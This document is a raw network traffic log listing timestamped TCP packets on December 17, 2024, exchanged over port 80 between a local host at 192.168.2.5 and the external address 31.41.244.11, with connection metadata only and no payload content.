Dec 17, 2024 08:03:19.747728109 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.748697042 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.748718977 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.748779058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.748799086 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.748846054 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.749789000 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.749852896 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.749918938 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.749970913 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.750870943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.750922918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.750988007 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.751034975 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.751988888 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.752043962 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.752108097 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.752156973 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.753072023 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.753174067 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.753185987 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.753379107 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.754149914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.754262924 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.755265951 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.755331993 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.755390882 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.756337881 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.756387949 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.756454945 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.756539106 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.757455111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.757508039 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.757559061 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.757605076 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.758538008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.758644104 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.758708000 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.758755922 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.759607077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.759736061 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.759768963 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.759785891 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.760706902 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.760827065 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.761827946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.761881113 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.761930943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.762712002 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.762907028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.763031006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.763144970 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.763969898 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.764033079 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.764087915 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.764137983 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.765064001 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.765117884 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.765182018 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.765235901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.766151905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.766202927 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.766264915 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.766311884 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.767277956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.767492056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.768346071 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.768402100 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.768460989 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.768625021 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.769428968 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.769536972 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.769661903 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.770556927 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.770607948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.770611048 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.770654917 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.771203041 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.771306992 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.771347046 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.771397114 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.772299051 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.772350073 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.772351027 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.772392988 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.773418903 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.773464918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.773469925 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.773525953 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.774492025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.774693966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.774713039 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.775640011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.775675058 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.775698900 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.775728941 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.776712894 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.776766062 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.776812077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.776859045 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.777822971 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.777946949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.777965069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.778085947 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.906034946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.906116009 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.906137943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.906186104 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.906522036 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.906575918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.906656981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.906676054 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.907612085 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.907716036 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.907799959 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.908699989 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.908757925 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.908885002 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.909107924 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.909845114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.909918070 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.909920931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.909970045 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.911014080 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.911098957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.911115885 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.911168098 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.911955118 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.912008047 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.912009001 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.912061930 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.913063049 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.913120985 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.913183928 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.913233042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.914150953 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.914201975 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.914247990 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.914294958 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.915282011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.915368080 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.915410042 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.915479898 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.916377068 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.916445017 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.916460991 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.916512012 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.917422056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.917495966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.917551041 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.917633057 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.918487072 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.918576002 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.918607950 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.918656111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.919614077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.919668913 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.919729948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.919775009 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.920690060 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.920789957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.920830965 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.921293020 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.921801090 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.921847105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.921910048 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.921967030 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.922940016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.922988892 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.923049927 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.923111916 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.924061060 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.924110889 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.924161911 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.924210072 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.925115108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.925175905 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.925241947 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.925292969 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.926166058 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.926246881 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.926271915 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.926316023 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.927246094 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.927297115 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.927376986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.927424908 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.928436995 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.928489923 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.928606987 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.928698063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.929466963 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.929517031 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.929594040 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.929794073 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.930512905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.930617094 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.930644035 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.930706978 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.931597948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.931710958 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.931725025 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.931796074 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.932739973 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.932789087 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.932815075 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.932862997 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.933959961 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.934021950 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.934056044 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.934106112 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.934887886 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.935009956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.935170889 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.935977936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.936047077 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.936131954 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.936193943 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.937074900 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.937251091 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.937324047 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.938169956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.938205004 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.938241959 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.938258886 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.939258099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.939320087 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.939373016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.939424038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.940331936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.940388918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.940455914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.940654993 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.941417933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.941478014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.941514969 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.941734076 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.942509890 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.942564964 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.942627907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.943598986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.943653107 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.943722963 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.943768024 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.944719076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.944895029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.944962025 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.945791960 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.945849895 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.945890903 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.945940018 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.946875095 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.946928024 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.946928978 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.946978092 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.948046923 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.948082924 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.948107958 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.948163986 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.949255943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.949306011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.949330091 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.949350119 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.950221062 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.950285912 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.950320959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.950362921 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.952066898 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.952133894 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.952176094 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.952222109 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.952289104 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.952337027 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.952399969 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.953402996 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.953455925 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.953566074 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.954464912 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.954519987 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.954564095 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.954677105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.955559969 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.959638119 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.963560104 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.963624001 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.963670015 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.963717937 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.964010954 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.964063883 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.964116096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.964160919 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.965128899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.965249062 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.965277910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.965318918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.966207981 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.966255903 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.966312885 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.966407061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.967243910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.967293024 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.967369080 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.967416048 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.968348980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.968398094 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.968401909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.968444109 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.969453096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.969496965 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.969541073 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.969585896 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.098171949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.098269939 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.098326921 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.098376989 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.098649025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.098690987 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.098773956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.098814964 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.099797964 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.099843979 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.099859953 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.099901915 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.100984097 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.101037979 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.101111889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.101299047 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.101972103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.102015018 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.102085114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.102123976 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.103099108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.103158951 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.103158951 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.103199005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.104156017 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.104201078 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.104206085 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:20.104245901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:20.105436087 CET	80	49844	31.41.244.11	192.168.2.5
